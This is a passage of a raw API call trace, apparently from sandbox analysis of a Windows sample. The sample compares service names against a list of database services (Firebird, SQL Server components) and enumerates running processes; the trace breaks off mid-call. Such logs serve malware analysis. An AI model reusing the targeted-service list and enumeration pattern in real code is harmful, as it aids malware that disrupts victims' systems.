lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0073.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0073.001] lstrlenW (lpString="SamSs") returned 5 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0073.001] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0073.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0073.001] lstrlenW (lpString="Schedule") returned 8 [0073.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0073.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0073.001] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0073.001] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0073.002] lstrlenW (lpString="SecurityHealthService") returned 21 [0073.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0073.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0073.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0073.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0073.002] lstrlenW (lpString="SENS") returned 4 [0073.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0073.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0073.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0073.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0073.002] lstrlenW (lpString="ShellHWDetection") returned 16 [0073.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0073.002] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0073.002] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0073.002] lstrlenW (lpString="Spooler") returned 7 [0073.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0073.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0073.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0073.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0073.002] lstrlenW (lpString="SSDPSRV") returned 7 [0073.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0073.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0073.002] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0073.002] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0073.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0073.002] lstrlenW (lpString="StateRepository") returned 15 [0073.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0073.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0073.003] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0073.003] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0073.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0073.003] lstrlenW (lpString="SysMain") returned 7 [0073.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0073.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0073.003] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0073.003] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0073.003] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3ce6290 | out: hHeap=0x6a0000) returned 1 [0073.003] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2f4 [0073.011] Process32FirstW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0073.011] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0073.179] lstrlenW (lpString="System") returned 6 [0073.179] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0073.180] lstrlenW (lpString="smss.exe") returned 8 [0073.181] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.182] lstrlenW (lpString="csrss.exe") returned 9 [0073.182] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0073.183] lstrlenW (lpString="wininit.exe") returned 11 [0073.183] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0073.184] lstrlenW (lpString="csrss.exe") returned 9 [0073.185] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0073.186] lstrlenW (lpString="winlogon.exe") returned 12 [0073.186] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0073.187] lstrlenW (lpString="services.exe") returned 12 [0073.187] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0073.188] lstrlenW (lpString="lsass.exe") returned 9 [0073.189] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.190] lstrlenW (lpString="svchost.exe") returned 11 [0073.190] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0073.191] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0073.191] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0073.192] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0073.192] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.193] lstrlenW (lpString="svchost.exe") returned 11 [0073.193] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0073.193] lstrlenW (lpString="dwm.exe") returned 7 [0073.194] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.194] lstrlenW (lpString="svchost.exe") returned 11 [0073.194] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.195] lstrlenW (lpString="svchost.exe") returned 11 [0073.195] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.196] lstrlenW (lpString="svchost.exe") returned 11 [0073.196] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.197] lstrlenW (lpString="svchost.exe") returned 11 [0073.197] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.198] lstrlenW (lpString="svchost.exe") returned 11 [0073.198] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.199] lstrlenW (lpString="svchost.exe") returned 11 [0073.200] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.200] lstrlenW (lpString="svchost.exe") returned 11 [0073.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.201] lstrlenW (lpString="svchost.exe") returned 11 [0073.201] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.202] lstrlenW (lpString="svchost.exe") returned 11 [0073.202] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0073.203] lstrlenW (lpString="spoolsv.exe") returned 11 [0073.203] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.204] lstrlenW (lpString="svchost.exe") returned 11 [0073.204] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.205] lstrlenW (lpString="svchost.exe") returned 11 [0073.205] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0073.206] lstrlenW (lpString="audiodg.exe") returned 11 [0073.206] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0073.207] lstrlenW (lpString="sihost.exe") returned 10 [0073.207] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0073.208] lstrlenW (lpString="svchost.exe") returned 11 [0073.208] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.209] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.209] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0073.209] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0073.210] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0073.210] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0073.210] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0073.211] lstrlenW (lpString="explorer.exe") returned 12 [0073.211] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0073.212] lstrlenW (lpString="Memory Compression") returned 18 [0073.212] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0073.213] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0073.213] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0073.214] lstrlenW (lpString="SearchUI.exe") returned 12 [0073.214] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0073.564] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0073.565] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0073.566] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0073.566] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.567] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.567] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0073.568] lstrlenW (lpString="UsoClient.exe") returned 13 [0073.568] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0073.569] lstrlenW (lpString="taskhostw.exe") returned 13 [0073.569] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0073.570] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0073.570] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0073.571] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0073.571] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0073.572] lstrlenW (lpString="msoia.exe") returned 9 [0073.572] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0073.573] lstrlenW (lpString="msoia.exe") returned 9 [0073.573] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1 [0073.575] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31 [0073.575] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace.exe")) returned 1 [0073.576] lstrlenW (lpString="screensaver-fireplace.exe") returned 25 [0073.576] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="xml-upper.exe")) returned 1 [0073.577] lstrlenW (lpString="xml-upper.exe") returned 13 [0073.577] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x388, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="defeat preston.exe")) returned 1 [0073.578] lstrlenW (lpString="defeat preston.exe") returned 18 [0073.578] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="surveillance.exe")) returned 1 [0073.579] lstrlenW (lpString="surveillance.exe") returned 16 [0073.579] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="meanwhile-legends.exe")) returned 1 [0073.580] lstrlenW (lpString="meanwhile-legends.exe") returned 21 [0073.581] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="deemed.exe")) returned 1 [0073.582] lstrlenW (lpString="deemed.exe") returned 10 [0073.582] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="scored-prices.exe")) returned 1 [0073.583] lstrlenW (lpString="scored-prices.exe") returned 17 [0073.583] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="understood.exe")) returned 1 [0073.584] lstrlenW (lpString="understood.exe") returned 14 [0073.584] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="lee.exe")) returned 1 [0073.585] lstrlenW (lpString="lee.exe") returned 7 [0073.585] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x788, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="arrivedvictims.exe")) returned 1 [0073.586] lstrlenW (lpString="arrivedvictims.exe") returned 18 [0073.586] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="romandisclosure.exe")) returned 1 [0073.587] lstrlenW (lpString="romandisclosure.exe") returned 19 [0073.587] Process32NextW (in: hSnapshot=0x2f4, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="neo quotations brave.exe")) returned 1 [0073.588] lstrlenW (lpString="neo quotations brave.exe") returned 24 [0073.588] Process32NextW (in: hSnapshot=0x2f4, 